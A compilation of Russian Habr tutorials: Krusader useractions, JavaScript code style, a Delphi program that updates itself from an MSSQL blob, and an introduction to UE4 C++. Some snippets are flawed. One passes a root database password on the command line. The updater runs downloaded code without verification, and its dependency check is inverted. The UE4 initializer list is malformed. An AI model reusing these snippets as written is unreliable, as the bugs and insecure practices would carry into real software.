[developer.apple.com/documentation/swiftui/state-and-data-flow](https://developer.apple.com/documentation/swiftui/state-and-data-flow)
[developer.apple.com/videos/play/wwdc2020/10170](https://developer.apple.com/videos/play/wwdc2020/10170/)
[developer.apple.com/videos/play/wwdc2020/10041](https://developer.apple.com/videos/play/wwdc2020/10041) | https://habr.com/ru/post/508002/ | null | ru | null |
# Улучшаем юзабилити Krusader
#### 0. Интро.
Несомненно, krusader является лидером среди графических файловых менеджеров. Внешне похож на знаменитый Total Commander, но функциональность слабее. Я сейчас покажу, как можно немного улучшить юзабилити для повседневного использования. А делать мы это будем через useractions. С их помощью, можно сделать практически любое действие с файлами и программой, не важно что, упаковка файлов одним кликом или сложные действия с группой файлов, или еще с чем (можно аж до закачки файлов с нета с последующей их обработкой).
Итак, тулбар, где будут размещаться иконки действий видна на картинке выше.
#### 1. Приступим.
Для создания\управления юзерэкшнами есть пункт в меню — *Useractions -> Manage User Actions...*
В нем задаются параметры создаваемого действия. Такие как заголовок, картинка, категория. Кстати, если нет нужной вам категории, то можно просто записать имя и она создастся автоматически. В поле Command прописываете вам нужные команды для bash. Элементарно. Можно использовать **любые** команды из системы или их комбинации.
В данном примере был написан скрипт для экспортирования заданной базы данных. Команда в этом случае выглядит так:
`mysqldump -uroot -p111111 %_Ask("Enter the database name?", "", "Enter the database name")% > db.sql`
Для помощи в создании команд для крусадера, есть небольшой хелпер. Нажмите по кнопке с крестиком справа от поля «Сommand» и вы сможете выбрать уже предефайненные методы крусадера. Они сгруппированы по отношению к панелям:
1. Active Panel — манипуляции с файлами в активной панели.
2. Other Panel — для неактивной панели.
3. Left\Right Panel — для левой и правой панели.
4. Panel Independend — содержат диалоги с пользователем и внутренние команды крусадера.
Выполнив эти действия и сохранив, мы получим новый пункт по правому клику мыши в меню User Actions.
#### 2. В один клик.
Теперь, когда экшн создан, можно избавиться от лишнего мыше кликанья. Вынесем экшн на тулбар!
`Settings -> Configure Toolbars.`
Находим слева наш экшн и добавляем его в правую колонку.
И получаем симпатичную кнопочку в тулбаре.
#### 3. Примеры скриптов useraction.
Добавить файл в svn:
`svn add %aCurrent%`
Удалить файл из svn:
`svn remove %aCurrent%`
Перейти в другую папку:
`%aGoto("/home/")%`
Запустить программу:
`/usr/bin/konsole`
*(да, просто прописав путь к исполняемому файлу)*
Добавить файл в плейлист Амарока:
`amarok --append %aList("Selected")%`
Примонтировать раздел:
`mount -t %_Ask("Filesystem Type?")% %_Ask("Device ?")% %_Ask("Mount Point ?")%`
Скопировать файл в другую панель и открыть его:
`%_Copy("%aCurrent%", "%oPath%")% kate %oPath%%aCurrent("Yes")%`
*(таким образом можно комбинировать несколько команд в одну)* | https://habr.com/ru/post/76358/ | null | ru | null |
# Руководство по JavaScript, часть 2: стиль кода и структура программ
Сегодня мы публикуем перевод следующей части руководства по JavaScript. Здесь мы поговорим о стиле кода и о лексической структуре программ.
→ [Часть 1: первая программа, особенности языка, стандарты](https://habr.com/company/ruvds/blog/429552/)
→ [Часть 2: стиль кода и структура программ](https://habr.com/company/ruvds/blog/429556/)
→ [Часть 3: переменные, типы данных, выражения, объекты](https://habr.com/company/ruvds/blog/429838/)
→ [Часть 4: функции](https://habr.com/company/ruvds/blog/430382/)
→ [Часть 5: массивы и циклы](https://habr.com/company/ruvds/blog/430380/)
→ [Часть 6: исключения, точка с запятой, шаблонные литералы](https://habr.com/company/ruvds/blog/430376/)
→ [Часть 7: строгий режим, ключевое слово this, события, модули, математические вычисления](https://habr.com/company/ruvds/blog/431072/)
→ [Часть 8: обзор возможностей стандарта ES6](https://habr.com/company/ruvds/blog/431074/)
→ [Часть 9: обзор возможностей стандартов ES7, ES8 и ES9](https://habr.com/company/ruvds/blog/431872/)
[](https://habr.com/company/ruvds/blog/429556/)
Стиль программирования
----------------------
«Стиль программирования», или «стандарт кодирования», или «стиль кода» — это набор соглашений, которые используются при написании программ. Они регламентируют особенности оформления кода и порядок использования конструкций, допускающих неоднозначности. В нашем случае речь идёт о программах, написанных на JavaScript. Если программист работает над неким проектом сам, то стиль кода, применяемый им, представляет его «договор» с самим собой. Если речь идёт о команде, то это — соглашения, которые используются всеми членами команды. Код, написанный с применением некоего свода правил, делает кодовую базу программного проекта единообразной, улучшает читабельность и понятность кода.
Существует немало руководств по стилю. Вот 2 из них, которыми в мире JavaScript пользуются чаще всего:
* [Руководство по стилю JavaScript от Google](https://google.github.io/styleguide/jsguide.html)
* [Руководство по стилю JavaScript от AirBnb](https://github.com/airbnb/javascript)
Вы вполне можете выбрать любое из них или придумать собственные правила. Самое главное — последовательно использовать одни и те же правила при работе над неким проектом. При этом, если, например, вы придерживаетесь одного набора правил, а в существующем проекте, над которым вам нужно поработать, используются собственные правила, нужно придерживаться правил проекта.
Форматирование кода можно выполнять вручную, а можно воспользоваться средствами автоматизации этого процесса. На самом деле, форматирование JS-кода и его проверка до запуска — это отдельная большая тема. [Вот](https://habr.com/company/ruvds/blog/428173/) одна из наших публикаций, посвящённая соответствующим инструментам и особенностям их использования.
Стиль, используемый в этом руководстве
--------------------------------------
Автор этого материала, в качестве примера собственного руководства по стилю, приводит свод правил, которым он старается следовать, оформляя код. Он говорит, что в коде примеров ориентируется на самую свежую версию стандарта, доступную в современных версиях браузеров. Это означает, что для выполнения такого кода в устаревших браузерах понадобится использовать транспилятор, такой как [Babel](https://babeljs.io/). JS-транспиляторы позволяют преобразовывать код, написанный с использованием новых возможностей языка, таким образом, чтобы его можно было бы выполнять в браузерах, не поддерживающих эти новые возможности. Транспилятор может обеспечивать поддержку возможностей языка, которые ещё не вошли в стандарт, то есть, не реализованы даже в самых современных браузерах.
Вот список правил, о которых идёт речь.
* Выравнивание. Для выравнивания блоков кода используются пробелы (2 пробела на 1 уровень выравнивания), знаки табуляции не используются.
* Точка с запятой. Точка с запятой не используется.
* Длина строки. 80 символов (если это возможно).
* Однострочные комментарии. Такие комментарии используются в коде.
* Многострочные комментарии. Эти комментарии используются для документирования кода.
* Неиспользуемый код. Неиспользуемый код не остаётся в программе в закомментированном виде на тот случай, если он понадобится позже. Такой код, если он всё же понадобится, можно будет найти в системе контроля версий, если она используется, или в чём-то вроде заметок программиста, предназначенных для хранения подобного кода.
* Правила комментирования. Не нужно комментировать очевидные вещи, добавлять в код комментарии, которые не помогают разобраться в его сути. Если код объясняет себя сам благодаря хорошо подобранным именам функций и переменных и JSDoc-описаниям функций, дополнительные комментарии в этот код добавлять не стоит.
* Объявление переменных. Переменные всегда объявляются в явном виде для предотвращения загрязнения глобального объекта. Ключевое слово `var` не используется. Если значение переменной в ходе выполнения программы менять не планируется, её объявляют в виде константы (подобные константы нередко тоже называют «переменными») с помощью ключевого слова `const`, используя его по умолчанию — кроме тех случаев, когда менять значение переменной планируется. В таких случаях используется ключевое слово `let`.
* Константы. Если некие значения в программе являются константами, их имена составляют из прописных букв. Например — `CAPS`. Для разделения частей имён, состоящих из нескольких слов, используется знак подчёркивания (`_`).
* Функции. Для объявления функций используется стрелочный синтаксис. Обычные объявления функций применяются только в особых случаях. В частности, в методах объектов или в конструкторах. Делается это из-за особенностей ключевого слова `this`. Функции нужно объявлять с использованием ключевого слова `const`, и, если это возможно, надо явно возвращать из них результаты их работы. Не возбраняется использование вложенных функций для того, чтобы скрыть от основного кода некие вспомогательные механизмы.
Вот пример пары простых стрелочных функций:
```
const test = (a, b) => a + b
const another = a => a + 2
```
* Именование сущностей. Имена функций, переменных и методов объектов всегда начинаются со строчной буквы, имена, состоящие из нескольких слов, записываются с использованием верблюжьего стиля (выглядят такие имена как `camelCase`). С прописной буквы начинаются только имена функций-конструкторов и классов. Если вы используете некий фреймворк, предъявляющий особые требования к именованию сущностей — пользуйтесь предписываемыми им правилами. Имена файлов должны состоять из строчных букв, отдельные слова в именах разделяются тире (`-`).
* Правила построения и форматирования выражений.
**if**. Вот несколько способов записи условного оператора `if`:
```
if (condition) {
statements
}
if (condition) {
statements
} else {
statements
}
if (condition) {
statements
} else if (condition) {
statements
} else {
statements
}
```
**for**. Для организации циклов используется либо стандартная конструкция `for`, пример которой приведён ниже, либо цикл `for of`. Циклов `for in` следует избегать — за исключением тех случаев, когда они используются вместе с конструкцией `.hasOwnProperty()`. Вот схема цикла `for`:
```
for (initialization; condition; update) {
statements
}
```
**while**. Вот схематичный пример цикла `while`:
```
while (condition) {
statements
}
```
**do**. Вот структура цикла `do`:
```
do {
statements
} while (condition);
```
**switch**. Ниже показана схема условного оператора `switch`:
```
switch (expression) {
case expression:
statements
default:
statements
}
```
**try**. Вот несколько вариантов оформления конструкции `try-catch`. Первый пример показывает эту конструкцию без блока `finally`, второй — с таким блоком.
```
try {
statements
} catch (variable) {
statements
}
try {
statements
} catch (variable) {
statements
} finally {
statements
}
```
* **Пробелы**. Пробелы следует использовать разумно, то есть так, чтобы они способствовали улучшению читабельности кода. Так, пробелы ставят после ключевых слов, за которыми следует открывающая круглая скобка, ими обрамляют операторы, применяемые к двум операндам (`+`, `-`, `/`, `*`, `&&` и другие). Пробелы используют внутри цикла `for`, после каждой точки с запятой, для отделения друг от друга частей заголовка цикла. Пробел ставится после запятой.
* **Пустые строки**. Пустыми строками выделяют блоки кода, содержащие логически связанные друг с другом операции.
* **Кавычки**. При работе со строками используются одинарные кавычки (`'`), а не двойные (`"`). Двойные кавычки обычно встречаются в HTML-атрибутах, поэтому использование одинарных кавычек помогает избежать проблем при работе с HTML-строками. Если со строками нужно выполнять некие операции, подразумевающие, например, их конкатенацию, следует пользоваться шаблонными литералами, которые оформляют с помощью обратных кавычек (```).
Лексическая структура JavaScript-кода
-------------------------------------
Поговорим о строительных блоках JavaScript-кода. В частности — об использовании кодировки Unicode, о точках с запятой, пробелах, о чувствительности языка к регистру символов, о комментариях, о литералах, об идентификаторах и о зарезервированных словах.
### ▍Unicode
JavaScript-код представляется с использованием кодировки Unicode. Это, в частности, означает, что в коде, в качестве имён переменных, можно использовать, скажем, символы смайликов. Делать так, конечно же, не рекомендуется. Важно здесь то, что имена идентификаторов, с учётом некоторых [правил](https://mathiasbynens.be/notes/javascript-identifiers), могут быть записаны на любом языке, например — на японском или на китайском.
### ▍Точка с запятой
Синтаксис JavaScript похож на синтаксис C. Вы можете встретить множество проектов, в которых, в конце каждой строки, находится точка с запятой. Однако точки с запятой в конце строк в JavaScript необязательны. В подавляющем большинстве случаев без точки с запятой можно обойтись. Разработчики, которые, до JS, пользовались языками, в которых точка с запятой не применяется, стремятся избегать их и в JavaScript.
Если вы, при написании кода, не используете странных конструкций, или не начинаете строку с круглой или квадратной скобки, то вы, в 99.9% случаев, не допустите ошибку (если что — вас о возможной ошибке может предупредить линтер). К «странным конструкциям», например, можно отнести такую:
```
return
variable
```
Использовать ли точку с запятой, или нет — это личное дело каждого программиста. Автор этого руководства, например, говорит, что решил не использовать точки с запятой там, где они не нужны, в результате в примерах, приведённых здесь, они встречаются крайне редко.
### ▍Пробелы
JavaScript не обращает внимания на пробелы. Конечно, в определённых ситуациях отсутствие пробела приведёт к ошибке (равно как и неуместный пробел там, где его быть не должно), но очень часто между отсутствием пробела в некоем месте программы и наличием одного или нескольких пробелов нет никакой разницы. Похожее утверждение справедливо не только для пробелов, но и для знаков перевода строки, и для знаков табуляции. Особенно хорошо это заметно, например, на минифицированном коде. Взгляните, например, во что превращается код, обработанный с помощью [Closure Compiler](http://closure-compiler.appspot.com/).
В целом же надо отметить, что, форматируя код программы, лучше не впадать в крайности, придерживаясь некоего свода правил.
### ▍Чувствительность к регистру
JavaScript — регистрозависимый язык. Это означает, что он различает, например, имена переменных `something` и `Something`. То же самое касается любых идентификаторов.
### ▍Комментарии
В JavaScript можно использовать два типа комментариев. Первый тип — однострочные комментарии:
```
// Это комментарий
```
Они, как следует из названия, располагаются в одной строке. Комментарием считается всё, что идёт за символами `//`.
Второй тип — многострочные комментарии:
```
/*
Многострочный
комментарий
*/
```
Тут комментарием считается всё, что находится между комбинацией символов `/*` и `*/`.
### ▍Литералы и идентификаторы
Литералом называется некое значение, записанное в исходном коде программы. Например — это может быть строка, число, логическое значение, или более сложная структура — объектный литерал (позволяет создавать объекты, оформляется фигурными скобками) или литерал массива (позволяет создавать массивы, оформляется с помощью квадратных скобок). Вот несколько примеров:
```
5
'Test'
true
['a', 'b']
{color: 'red', shape: 'Rectangle'}
```
Особой пользы от запуска программы, в которой встречаются подобные конструкции, не будет. Для того чтобы работать с литералами в программах, их сначала присваивают переменным или передают функциям.
Идентификатором называется последовательность символов, которая может быть использована для идентификации переменной, функции, объекта. Она может начинаться с буквы, знака доллара (`$`) или со знака подчёркивания (`_`), может содержать цифры, и, если нужно, символы Unicode вроде смайликов (хотя, как уже было сказано, лучше так не делать). Вот несколько примеров идентификаторов:
```
Test
test
TEST
_test
Test1
$test
```
Знак доллара обычно используется при создании идентификаторов, хранящих ссылки на элементы DOM.
### ▍Зарезервированные слова
Ниже приведён список слов, которые зарезервированы языком. Использовать их в качестве идентификаторов нельзя.
* `break`
* `do`
* `instanceof`
* `typeof`
* `case`
* `else`
* `new`
* `var`
* `catch`
* `finally`
* `return`
* `void`
* `continue`
* `for`
* `switch`
* `while`
* `debugger`
* `function`
* `this`
* `with`
* `default`
* `if`
* `throw`
* `delete`
* `in`
* `try`
* `class`
* `enum`
* `extends`
* `super`
* `const`
* `export`
* `import`
* `implements`
* `let`
* `private`
* `public`
* `interface`
* `package`
* `protected`
* `static`
* `yield`
Итоги
-----
Сегодня мы обсудили стиль и структуру программ, написанных на JavaScript. В следующий раз поговорим о переменных, о типах данных, о выражениях и об объектах.
**Уважаемые читатели!** Каким руководством по стилю JavaScript вы пользуетесь?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/429556/ | null | ru | null |
# Автообновление программы через MSSQL server
Дабы не бегать по своей работе к каждому человеку который использует мою программу разумно сделать автообновление, которое будет обновлять программу, если загрузить новую версию на сервер. Испробовав множество способов, нашел самый простой в использовании (хотя и не самый правильный)
Итак алгоритм:
1. Программа при включении проверяет на сервере последнюю версию.
2. Если на сервере выше текушей то скачиваем Zip-архив c программой.
3. Переименовываем файл приложения на другое (ради бэкапа и доступности к файлу), например с program.exe на program.backup.
4. Распаковываем архив заменяя файлы в папке.
5. Удаляем архив с обновлением.
6. Перезапускам программу.
Но перед всем этим сначала создадим таблицу **Updater** (например) на MSSQL с полями:
**name** — тип varchar;
**version** —тип varchar;
**files** — тип varbinary(max) (или любое другое blob-поле).
Лучше сразу создать в таблице запись, где в поле name будет program.
Добавить эту процедуру в код для извлечения номера версии программы:
```
function TForm1.GetMyVersion: string;
type
TVerInfo=packed record
Nevazhno: array[0..47] of byte; // ненужные нам 48 байт
Minor,Major,Build,Release: word; // а тут версия
end;
var
s:TResourceStream;
v:TVerInfo;
begin
result:='';
try
s:=TResourceStream.Create(HInstance,'#1',RT_VERSION); // достаём ресурс
if s.Size>0 then begin
s.Read(v,SizeOf(v)); // читаем нужные нам байты
result:=IntToStr(v.Major)+IntToStr(v.Minor)+ // вот и версия...
IntToStr(v.Release)+IntToStr(v.Build);
end;
s.Free;
except; end;
end;
```
Теперь нам понадобится библиотека для распаковки архивов, ведь я буду хранить обновление в zip архиве, использую библиотеку [SevenZip](http://yadi.sk/d/hQ4IaJrxsfIw), добавляем в Delphi в library путь до исходников библиотеки.
Теперь нам надо закачать сам архив с новой версией программы в базу данных. Я сделал форму с загрузкой обновления на сервер:
по открытию **OpenDialog** думаю всё понятно переписываем путь в edit
```
if OpenDialog1.Execute then
cxButtonEdit1.Text:=OpenDialog1.FileName;
```
Номер версии лучше вписывать в **MaskEdit** с маской — **!9.9.9.0;1;\_**
По кнопке сохранить закачиваем файл процедурой:
```
var blobF: TBlobField;
begin
if not FileExists(OpenDialog1.FileName) then
begin
ShowMessage('Файл не найден!');
exit;
end else cxButtonEdit1.Text:=OpenDialog1.FileName;
try
ADOTable1.TableName:=Updater; //выбираем таблицу в которой будем хранить архив
ADOTable1.Close;
ADOTable1.Open;
//ищем поле name с записью program
ADOTable1.Filtered := False;
ADOTable1.Filter := 'name='+#39+'program'+#39;
ADOTable1.Filtered := True;
ADOTable1.Edit;
blobF := ADOTable1.FieldByName('files') as TBlobField;
blobF.LoadFromFile(OpenDialog1.FileName);
ADOTable1.FieldByName('version').AsString:=cxMaskEdit1.Text;
ADOTable1.Post;
except
Showmessage('Ошибка загрузки!');
end;
```
Это немного неправильный метод, лучше всего сделать отдельным потоком, особенно если архив большого размера.
Необходимо добавить в Uses — **SevenZip** и **ShellAPI**.
Теперь создадим самую важную процедуру обновления, назовав её Update:
```
Procedure TForm1.Update;
var path,fullpath,Ourversion,LastVersion:string;
blobF: TBlobField;
begin
//получем номер версии на сервере
adoquery4.Active:=false;
adoquery4.sql.text:='SELECT version FROM [dbo].[Updater] WHERE name='+#39+'program'+#39;
adoquery4.Active:=true;
//добавляем номера версии на сервере и текушей в переменые, и убираем точки
Ourversion:=GetMyVersion;
LastVersion:=adoquery4.FieldByName('version').Value;
while pos('.',LastVersion)<>0 do
delete(LastVersion,pos('.',LastVersion),1);
//сравниваем версии если текушая меньше чем на сервере то спрашиваем обновлять или нет
if strtoint(LastVersion)>strtoint(Ourversion) then
If messageBox(Handle,'Появилось свежая версия программы. Обновить?','Обновить?',
mb_YesNo or mb_iconquestion)=mrYes then
try
path:=ExtractFileDir(ParamStr(0));
if FileExists(path+'\Program.backup') then DeleteFile(path+'\Project2.backup');
RenameFile(path+'\Program.exe', path+'\Program.backup'); //переменовываем оригинальный файл
//фильтруем
//ADOTable1 указывает на таблицу Updater
ADOTable1.Close;
ADOTable1.Open;
ADOTable1.Filtered := False;
ADOTable1.Filter := 'name='+#39+'program'+#39;
ADOTable1.Filtered := True;
ADOTable1.Active:=true;
//скачиваем файл
blobF := ADOTable1.FieldByName('files') as TBlobField;
if blobF.Value = nil then Exit;
blobF.SaveToFile(path+'\Update_ARMTitan.zip');
ADOTable1.Active:=false;
// Распаковывает файлы
with CreateInArchive(CLSID_CFormatZip) do
begin
OpenFile(ExtractFilePath(ParamStr(0)) + 'Update_ARMTitan.zip');
ExtractTo(ExtractFilePath(ParamStr(0)));
Close;
end;
//удаляем архив который скачали
DeleteFile(path+'\Update_ARMTitan.zip');
//перезапуск программы
fullpath:=path+'\Project2.exe';
ShellExecute(0, 'open', PWideChar(fullpath), '', nil, SW_SHOW);
//WinExec(PAnsiChar(fullpath), SW_SHOW);
Application.Terminate; // or: Close;
finally
end;
end;
```
Здесь тоже есть недочет, распаковывать лучше в отдельности каждый файл и проверять на наличие ошибки, а не весь архив целиком как сделал я.
Тут есть 2 мелочи которые надо соблюдать:
1. В директории с программой должен быть файл 7z.dll, поэтому лучше сделать проверку:
```
if FileExists(path+'\7z.dll') then
begin
ShowMessage('Отсутствует файл 7z.dll');
exit;
end;
```
или еще как то по другому.
2. В архиве с обновлением не должен присутствовать файл 7z.dll, так как он используется, или же распаковать всё по отдельности как я писал выше и не распаковывать только этот файл.
Вот и всё. Главное не забыть перед компиляцией готовой программы для обновления прежде чем добавить её в архив, изменить номер версии программы.
В этом способе есть некоторые недочёты и я это знаю. Но пока что я им пользуюсь и проблем не испытывал, хотя доработать всё же следует. | https://habr.com/ru/post/152285/ | null | ru | null |
# (Перевод) Введение в разработку C++ в UE4
**Часть 1. Введение. Создание класса и добавление свойств. Расширение класса С++ с помощью Blueprint.**
[Часть 2. Классы геймплея. Структуры. Отражение (reflection) в Unreal. Object/Actor итераторы. Менеджер памяти и сборщик мусора.](http://habrahabr.ru/post/257827/)
Часть 3. Префиксы в именах классов. Целочисленные типы. Типы контейнеров. Итераторы контейнеров. Цикл For-each, хеш-функции.
Часть 4. Бонусная. Unreal Engine 4 для Unity разработчиков.
Эта статья является переводом части документации по UE4. Оригинальную статью вы можете найти пройдя [по это ссылке](https://docs.unrealengine.com/latest/INT/Programming/Introduction/index.html).
Unreal C++ очень крут!
======================
Это руководство покажет вам как писать код на С++ в Unreal Engine. Не переживайте, разработка на С++ в Unreal Engine весёлая, и совершенно не сложная, чтобы её начать. Нам нравится думать о Unreal C++ как о «помогающем C++» \*, поскольку мы создали множество разных фич чтобы сделать C++ легче для всех!
\* *буду рад, если кто предложит лучший перевод «assisted C++», но пожалуйста в личку.*
Перед тем как мы начнем, важно чтобы вы были уже знакомы с C ++ или другим, схожим языком программирования. Это руководство написано для разработчиков имеющих опыт с C++. Если вы знаете, C#, Java или JS, вы найдете множество знакомых аспектов.
Если у вас совершенно нет опыта разработки, вы можете изучить [гид по визуальному скриптингу при помощи Blueprint](https://docs.unrealengine.com/latest/INT/Engine/Blueprints/index.html)\*. После изучения этого руководства, вы сможете создавать игры с помощью Blueprint\*\*.
**Примечания**\* *Blueprint Visual Scripting guide*
\*\* *далее, где написано Blueprint, подразумевается как Blueprints Visual Scripting так и «Blueprint-класс». Что конкретно подразумевается вам будет ясно из контекста.*
Вы можете писать «старый добрый С++ код», но вы будете более продвинутым разработчиком, после прочтения этого руководства и изучении модели разработки в Unreal.
C++ и Blueprints
----------------
UE предоставляет два метода для создания элементов геймплея — C++ и Blueprint. С++ программисты добавляют основные блоки геймплея, таким образом, чтобы дизайнеры (тут имеется ввиду левел-дизайнер, а не художник) с помощью этих блоков мог создавать свои элементы геймплея для отдельного уровня или всей игры. В таком случае, программисты работают в своем (своей) любимой IDE (например — MS Visual Studio, Xcode), а дизайнер работает в Blueprint редакторе UE.
API геймплея и фреймворк классов полностью доступны из обоих систем. Обе системы можно использовать по отдельности, но используя их вместе вы получаете более мощную и гибкую систему. Это значит, что лучшей практикой будет слаженная работа программистов, которые создают основы геймплея и левел-дизайнеров, которые используют эти блоки для создания увлекательного геймплея.
С учетом всего вышесказанного, далее будет рассмотрен типичный рабочий процесс программиста C++, который создает блоки для дизайнера. В этом случает вы должны создать класс, который в дальнейшем будет расширен с помощью Blueprint, созданного дизайнером или другим программистом. В этом классе мы создадим различные свойства (переменные), которые сможет задать дизайнер. На основе этих заданных значений, мы собираемся извлечь новые значения созданных свойств. Данный процесс очень прост благодаря инструментам и макросам, которые мы предоставляем для вас.
Мастер классов
--------------
Самое первое что требуется сделать это воспользоваться *мастером классов* (class wizard) предоставляемый UE, для создания базы будущего С++ класса, который в дальнейшем будет расширен с помощью Blueprint. Ниже показано, каким образом происходит выбор при создании нового класса, дочернего от класса Actor.
Далее требуется ввести название вашего класса. Мы воспользуемся именем по умолчанию (*MyActor*).
После того как вы создадите класс, мастер генерирует файлы и откроет IDE, таким образом что вы сразу можете начать редактировать его. Ниже приведен полученный таким образом код созданного класса. Для получения доп. информации о мастере классов, вы можете перейти [по этой ссылке](https://docs.unrealengine.com/latest/INT/Programming/Development/ManagingGameCode/CppClassWizard/index.html).
```
#include "GameFramework/Actor.h"
#include "MyActor.generated.h"
UCLASS()
class AMyActor : public AActor
{
GENERATED_BODY()
public:
// Устанавливает значения по умолчанию для свойств этого Actor
AMyActor();
// Вызывается во время начала игры или спавне этого Actor
virtual void BeginPlay() override;
// Вызывается каждый кадр
virtual void Tick( float DeltaSeconds ) override;
};
```
Мастер классов генерирует класс с методами *BeginPlay()* и *Tick()*, со спецификатором *перегрузки (override)*. Событие *BeginPlay()* происходит когда Actor входит в игру, в состоянии разрешённом для игры (*playable state*). Хорошей практикой является инициирование геймплей-кода вашего класса в этом методе. Метод *Tick()* вызывается каждый кадр с параметром, который равен времени, прошедшему с последнего своего вызова. В этом методе должна содержаться постоянно повторяющаяся логика. Если у вас она отсутствует, то лучше всего будет убрать данный метод, что немного увеличит производительность. Если вы удалили код данного метода, убедитесь что вы так же удалили строку в конструкторе класса, которая указывает, что *Tick()* должен вызываться каждый кадр. Ниже приведет код конструктора с указанной строкой:
```
AMyActor::AMyActor()
{
// Разрешить данному actor вызывать Tick() каждый кадр.
// Вы можете отключить это чтобы увеличить производительность,
// если вам не требуется этот метод.
PrimaryActorTick.bCanEverTick = true;
}
```
Создание свойств, отображающихся в редакторе
--------------------------------------------
Теперь у нас есть собственный класс. Давайте создадим несколько свойств, которые могут быть использованы другими разработчиками, непосредственно в UE. Для отображения свойства в редакторе требуется использовать специальный макрос UPROPERTY(). Все что требуется сделать, это написать макрос UPROPERTY(EditAnywhere) перед объявлением переменной, как написано ниже:
```
UCLASS()
class AMyActor : public AActor
{
GENERATED_BODY()
UPROPERTY(EditAnywhere)
int32 TotalDamage;
}
```
Это все что требуется сделать, чтобы редактировать данное значение в редакторе. Есть еще несколько путей, для указания каким образом и где данная переменная редактируется. Это делается с помощью указания доп. опций в макросе. К примеру, если вы хотите чтобы данное свойство было сгруппировано в разделе с другими соответствующими свойствами, вы должны указать категорию, как это указанно ниже:
```
UPROPERTY(EditAnywhere, Category="Damage")
int32 TotalDamage;
```
Теперь, пользователи будут видеть вашу переменную помещенную в категорию с заголовком *«Damage»*. В этой категории так же могут быть другие свойства, у которых указана такая же категория. Это отличный способ размещать наиболее часто используемые переменные вместе.
Теперь сделаем свойство доступным из Bluerpint:
```
UPROPERTY(EditAnyway, BlueprintReadWrite, Category="Damage")
int32 TotalDamage;
```
Как вы можете увидеть, мы указали специальный параметр, для возможности чтения и записи свойства. Вы так же можете использовать другую опцию — *BlueprintReadOnly*, чтобы ваши переменные в редакторе указывались как константные. Кроме этого доступны многие другие свойства, передаваемые макросу *UPROPERTY*, ознакомиться с которыми можно [перейдя по ссылке](https://docs.unrealengine.com/latest/INT/Programming/UnrealArchitecture/Reference/Properties/Specifiers/index.html).
Перед тем как перейдем к следующему разделу, давайте добавим несколько переменных нашему классу. У нас уже имеется переменная хранящая полный урон, который может нанести Actor, но давайте считать, что урон может производиться длительное время. Код ниже содержит одну новую переменную доступную для редактирования левел-дизайнером и одну недоступную для редактирования:
```
UCLASS()
class AMyActor : public AActor
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Damage")
int32 TotalDamage;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Damage")
float DamageTimeInSeconds;
UPROPERTY(BlueprintReadOnly, VisibleAnywhere, Transient, Category="Damage")
float DamagePerSecond;
...
}
```
Как видно, *DamageTimeInSeconds* свойство, которое доступно для редактирования в редакторе. *DamagePerSecond* будет вычисляться, как вы увидите позднее, на основе значения заданного в *DamageTimeInSeconds*, например, левел-дизайнером. Флаг *VisibleAnywhere* указывает что свойство отображается, но не может быть изменено. Флаг *Transient* означает что это свойство нельзя сохранить или прочитать с диска, то есть полученное значение является непостоянным. На картинке ниже показано как отображаются эти свойства в разделе значений по умолчанию нашего класса.
Установки значений по умолчанию в конструкторе
----------------------------------------------
Установка начальных значений переменных происходит как и в обыкновенном C++ классе — в конструкторе. Ниже приведены два примера, каким образом это можно сделать, оба примера эквиваленты по функциональности:
```
AMyActor::AmyActor()
{
TotalDamage = 200.0f;
DamageTimeInSeconds = 1.0f;
}
AMyActor::AmyActor() :
TotalDamage (200.0f);
DamageTimeInSeconds (1.0f);
{
}
```
Вот тот же кусок окна, но уже с заданными значениями в конструкторе
Так же возможно задавать начальные значения основанные на значениях заданных в редакторе. Эти данные задаются после конструктора, для этого требуется использовать метод PostInitProperties(). В данном примере *TotalDamage* и *DamageTimeInSeconds* задаются левел-дизайнером. Независимо от того, заданны ли эти значения из редактора, вы по прежнему можете задать требуемые начальные значения, как мы сделали это ранее.
Заметка: если вы не задаете значения по умолчанию, они автоматически будут установлены в 0 или nullptr для значений указателей.
```
void AMyActor::PostInitProperties()
{
Super::PostInitProperties();
DamagePerSecond = TotalDamage / DamageTimeInSeconds;
}
```
Тот же кусок окна, что и ранее, но уже после добавления PostInitProperties() в цепь вызовов.
Горячая перезагрузка.
---------------------
UE 4 предоставляет возможность, которая возможно удивит вас, если вы привыкли к обычному программированию на C++ в других проектах. Вы можете **скомпилировать добавленный вами С++ код без перезапуска редактора.** Есть два пути сделать это:
1. Если редактор запущен, сделайте билд в Visual Studio или Xcode, как вы обычно это делаете. Редактор обнаружит новые скомпилированные DLL и перезагрузит ваши изменения сразу же.
*Заметка: Если у вас приатачен дебаггер, вы должны открепить его, в начале, иначе VS не позволит вам сделать build.*
2. Или просто нажмите на Compele в основном тулбаре в редакторе.
Вы можете использовать эту возможность по мере продвижения по данному руководству.
Расширение С++ класс с помощью Blueprint
----------------------------------------
До этого мы создали простой геймплей-класс, при помощи С++ мастера классов и добавили в него несколько переменных. Теперь мы изучим на то, как пользователь может создавать уникальные классы из наших скромных набросков.
Первое, что требуется сделать, это создать Blueprint класс из нашего *AMyActor* класса. Обратите внимание, что на изображении ниже имя базового класса указанно как *MyActor*, а не *AMyActor*. Это сделано для того, чтобы спрятать соглашения об именах, которое используется в наших инструментах от пользователя, делая имена более удобными для него.
После нажатия на Select, будет создан новый Blueprint с дефолтным именем. Мы зададим ему имя *CustomActor1*, как указанно на изображении из Content Browser'а ниже.
Это наш первый класс, который наш пользователь будет редактировать. Во-первых, поменяем значения наших переменных. В данном случае выставим TotalDamage равным 300 и время, в течении которого наносятся эти повреждения равным двум секундам. Вы можете увидеть это на картинки ниже:
Погодите… Наша расчетная величина не соответствует нашему ожиданию. Оно должно быть 150, но мы видим значение равное 200. Это происходит потому, что в данным момент мы вычисляем значения сразу после инициализации значений, которое происходит в момент загрузки. Но у нас происходят изменения времени выполнения в редакторе (*runtime changes*), которые не учитываются. Эту проблему легко решить, поскольку движок уведомляет целевой объект о событии, которое вызывается при изменении в редакторе. Код ниже показывает, что именно требуется добавить для расчета новых значений, полученных при изменении переменных в редакторе:
```
void AMyActor::PostInitProperties()
{
Super::PostInitProperties();
CalculateValues();
}
void AMyActor::CalculateValues()
{
DamagePerSecond = TotalDamage / DamageTimeInSeconds;
}
#if WITH_EDITOR
void AMyActor::PostEditChangeProperty(FPropertyChangedEvent& PropertyChangedEvent)
{
CalculateValues();
